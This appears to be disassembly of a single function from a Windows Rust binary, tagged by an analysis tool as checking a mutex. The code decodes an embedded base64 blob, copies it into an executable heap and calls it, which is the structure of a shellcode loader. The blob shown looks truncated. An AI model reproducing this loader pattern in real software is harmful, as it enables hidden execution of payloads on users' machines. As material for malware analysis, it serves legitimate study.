Function at 0x140001a30
Capabilities:
Check mutex on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
movabs r14, 0x8000000000000000
lea rdx, [0x14009c101]
lea rcx, [rsp + 0x50]
mov r8d, 5
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h297887165894eb16
cmp qword [rsp + 0x50], r14
jne 0x140001b4b
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
xor ecx, ecx
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_CreateMutexA
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
je 0x140001b16
lea rdx, str.6MBnCQDAZwkAzFEFhwAArmsdDuiZB2UcNX73EpNFtcROW8RPOhnNr0AAAAAQJXaXEEwrEQofLVMcjSH3tj1vvrEvUQ5Al8QWMUeDKdETBJiB71bIGVSGvGCJe9yZP_7YfvEH_bLbpbBn3pfUYiYt3Xm5bbVYBdcn5sQbnb2su4RZByxfns5coIEiOPKUvrOOItjHRkxQwaNvBZB4hQXMwQujM0A00UI3Ad8OGM_PahWr8RalUA4muHsSlVeLv6aouYw0ehnyEZ7mPA4uN1IQiKdhdAFJ1GtIjS9cPIuYVGaPDeNdw54abH6xnNoWjOmn32XIuhYiq4EPbQ8XnN4qO6nT21Cmsb1QHFcZ6jOeeQEGlqlPsKM1QLBgtd3Y1Jx1aizhUAQAQHsGajE6B11aZJOXMXurr7RYe_GYaQcJ9Y5vbD6QwZ2goMdHrG5SvbmxRBBxkz4nM0iTVrSYLkrDiIMDnye1vzoIfFBEnKFUYmlvj6pSVLy2bkXIIAGVyG3SlsxuwrJSmyN51ZSYqMUcu_nWzbf7nQY7Q8VpD8igtHNo4rnXezVjkeAPf2myrXnro1P4vZIuFPRF7uCTsyF4hA1vQ0yIeR_28HGhoGmgCyzUKLUqjaMpcH4iZcK2cxnMEY_736Q3LWL4qWlUkXF1R4DfEQafKHHhNWyOstvPFravl8sJebdwoP1VbwjMWsoV_0MSUBtthqBR463L9PH5OA8DjVXTdcAAAAAAAAAAAEAAAADAAAAAAAAAM2cU48eNh3_3IbnmAF9x6ihraLQS58Nz5kGSTofyp4U0SL1KpPqRdEZtpCtQD9iCJw9KFirX5mxKOQs20om8GXci1sd9avY9DdKMUQ0OL1GWiWykCnpUux9_cXrVGHOtJkmiyaQvCQGQqWKZUNgRULWw5RbMEADwJ6ywNZjACmlMYlPWrjW6xJZPVofvV6uUtI6Zh1zLtdse6dlaEHvgvyJu9ClJHFzWv5b1mzbp76DanTaz4W4FNfej0dAX3SY3u7WFlrdrsr1eyqrBASRHBQpZgErlFcmbxjRgXBZO4omTdOGq9doTT7b10_VxAU2Bg0a7nkihPkI2pO8vG8FWWW_Hboijb433c3Matn2kHC6Zs5CdfMW5UZTLoDRUtR8IAOXPghx7GklnJRBy5MV5NudnhzTLl9bT9BOrwmEc4e1oi20inBxAZHYiuMGbFEmQ1KHooU58zl1lMJPAR3KJREIA1v7fJHuiYEAyKTbi8RaJQbkzlHltD72dheufWvIek8SrRZE1PPSy7JMYNUQLhAIlsAHcMIqG3U0fKWncoe78IofQ1enkpL_GsEoXIzPUMNf7lb8_wgqC3gnjRhdZnORlWOC41aEhEtqdW1qf5_V228Pbo24R1UDGu3MovxSHinpmzFaJQ47wHNvUm9_gPRTv7t3RNJYqP_dMmCOXKwakjJ4OTSTcMfPo5wZr5jMQUlHho85l84F2tNbDQLhcSRBTufsCRcBJ2_xPi4fBjNdTxZaa8tHCMP5HOLBKYmRFIDWplWET7KEDxWsLwtZXSJoPFsQOWpDOvHxxgsuno1voYhUHB5oOLq0jzYPp_HV94Bc0sGgh6rQTUsOpI68b2y8iPspl1HOyOEQXdDsCB7XiMQF6LCrilVJA87EchXyOq86nEZpeDpQQgSuAbuDPwuaVu_TJSTJhWCPh4kLc1BY5FPhyscVpvkm_4YPFXV_0H1kAU9Np5L1dPn33HMDCAM5ozGuzrDiaDXb6YXKl2jCdp6NwFwI7DyGKBwcsvMaFc4Rj9iQJqeyq_Ag47KGI6oIL1wsbOLqMhtQR8r52FS05Cuewv_mgao4vDvTbW8nEUtfI4GKzYFk5xHW5UyXB8efprEmkV4o0eMei2mo06gCki3qkTWV1gJwHohXdV1TgteqBTyescppeBWfegGVOyhoHY5Ykzz1VK8vT36nb1AMoiuCPaGl7SVAcmSZPeYlJqCRyIRsN6Wl027WRflYD12BKJsq7cZloT5wjviLDm6v9n0PnkX7mJnSXxHs9FueBUNhJwWmI0pVHCNvF8bTmtf_zXxCJSQGq63ezrJ62cfCkFH_p_oiluE853h8OsOKELCr8vo2GVWRC6l6OgTHyG3zmzqGRdubeBurkQJLYYUK8ODP9cDgFR5xwwsOlU3TYyNBNC0OQXSGllKXXLf0310HDu8fI1h5yMPF2Zguc55p9sjaDQ3CSODlmt6ipPn8eNoPDN4OETUcCCd8rFTk_X_TZpe49aqQeQbtR_m03QkvFVZuxrcSQW9REvZH9OSPxuFSRfu4Ciiu0xum3lE0YphLHPF90XkM_pwWjZSCJg8tAGg3apJt53UdpRFS6efsmE6fcrXdtwuxrUEu1toKUOzrklYhifdZR7pGYzvGnli945qeESPVmEmMGA9t3UM7JwHBVwIeFjHppbxEncgC8uBTpZ7I1Mg9mk9HLrafI9A9XcrN96gg4b3H1zV3wckSPL9hjouMg5CDZArUbF1lB3rZgP_sUbibmKRQaClA47g9YE0FM6oq87tap1JNzohtLdbbFJdIwegcawnEnoOhOU9Om50TEPltujA1ROmqzJMM70fu79a2k4e9iswyYmWS65iT8lTCDCgzS7fM1TX_MpMI63CDiCjebxo66CLfWhnV7i_I0OJAxdniWMaSjE6Gkc8QoNJWeUWwNAgHbRvn4QgfPcGEk6X9geet9ADZFRqrrItx_FvqmNHISrevevihtAAkNEa_E6cABUaFa8L4wEmDB1IGxbypkpmrG0IqWE4h7HAV3pJ0lZO84z0UKzLpXNJ_YXF5JSaNj_yXBuARQZS412td6yid6iA3DVxA5HDWLJcBtJ7ExDfL8RUXNtBlys8OXJ7k5UA9NY_FU2qNnXE4bSkCeVjhxSagLJyDc5r2HFhqpSvR5L2euejHfMHBRU0NrdWKkUn9kNSFi88aq9P5XakcGh2XwxH2FxtIdkgQ8xpxF9jMDCbn9ts1qdn3gIpJt9vaifwk6YCGvog4hM7yw9IZlTrrdPhmkYGsD6M2WlYij2WCJgjKHCzkhiYIeevX3NX7nSaN1VV4HKMCuHMTNKNWpaKcLZSCEicQuZ_HzMfz0R2DiQDl9DftEgrbiR2uSDVBWmIcDAmFAbtB551I7a4kFHo3lJxZAqbsP8Y5zErZ0j9kgpnnarKklWpy1_yRoosmiDBF780hx_kf2zshV79cvAqIzzxsT2OfIAKiPH_5ALCHt0MMUAQFYcSy0tqI_g9no_pAL7Ag61oXKO2YBtv2G8nX4c74maJiaTL_LcQre8xWcX0WxAl3HZ3Ia62kO0kxeTWkJ0ALrl7SWhfw2cOA4h6_7GDAqiRg2RGgLuf7z5UTuFBfJsEw2IZpMeEyQ1_X3T9uiCZgbP0efBuuDmU0ze5zbUDF90sumnzdwp5qqY9xHqeC5pB0P_NXr1knPpOdI0ZagkIM6wJWludv81FK6SMfzyLZS7lEuiq7tXCS8olwZmaYyar4hPJYtqBv2c34qBBRH0G2xAfdzMIFgUe7nylRdQQQRNZm5jr5nuVAuvBdwXBGHkEuqmneGYh0LZrwZqyNs_5yBGAAHNjPIw1bM1oDpioBbHy4bx83MZhtpBrYZtCVpHvS6WgaIYPu2IptliuZY0F_41GtuJ1bEmN3V2j1DBJeWnjxGF49CKt5NzC9ARLf7hSb22lTrE43Li0fz0NQK51Bszfs8Vh62Qrp1trtqFhpCho6KldHaCFWShSj8EXeZTZuJuXVaYA_zruwmUDj2BB7gMmIX0KkKF9bHF7llnxekA4t5gcbeImGZ4y5S1NSXy0a5rPxCSoJtu_9YZRoIGsL2oKpExkuBBmVXeURCszGgzfpW8JIoHls2yiBnqocPIWQLLMdFq24Zigv86n_qTQ4QIG6jw2MmCUt9ZgO3kEXda8Kd5woPWsIQL7LYP6Gh7lzuFLXlMKfbngn8MGr1Dr1l3beM7kgYi6awUkSLYLrchW5v4n6L60Qc3QMh_IcxrzRZJfV7mj6kTgtevBPcSS8KCSG
lea rcx, [rsp + 0x30]
mov r8d, 0xd0d1c
mov r9d, 1
call sym.base64::decode::decode_config::h30f44ae7200b6230
mov rbx, qword [rsp + 0x30]
cmp rbx, r14
je 0x140001b8a
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_HeapCreate
mov rcx, rax
mov edx, 8
mov r8, r15
call fcn.14009853c
mov r12, rax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x140001b00
mov rcx, r12
mov rdx, r14
mov r8, r15
call sub.msvcrt.dll_memmove
call r12
test rbx, rbx
je 0x140001b16
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
mov byte [rsi], 0
test rdi, rdi
je 0x140001b3c
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp sym.__rust_dealloc
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rax, [0x14009c128]
mov qword [rsp + 0x20], rax
lea rcx, [0x14009c106]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h0c6a5c2bed0f4b0a
lea r8, [rsp + 0x30]
mov edx, 0x13
call dbg.unwrap_failed
jmp 0x140001bbd
movups xmm0, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x50], xmm0
lea rax, [0x14016ce78]
mov qword [rsp + 0x20], rax
lea rcx, [0x14016ce5c]
lea r9, sym.core::ptr::drop_in_place_usize_::hdd70fda63af9655f
lea r8, [rsp + 0x50]
mov edx, 0x15
call dbg.unwrap_failed
ud2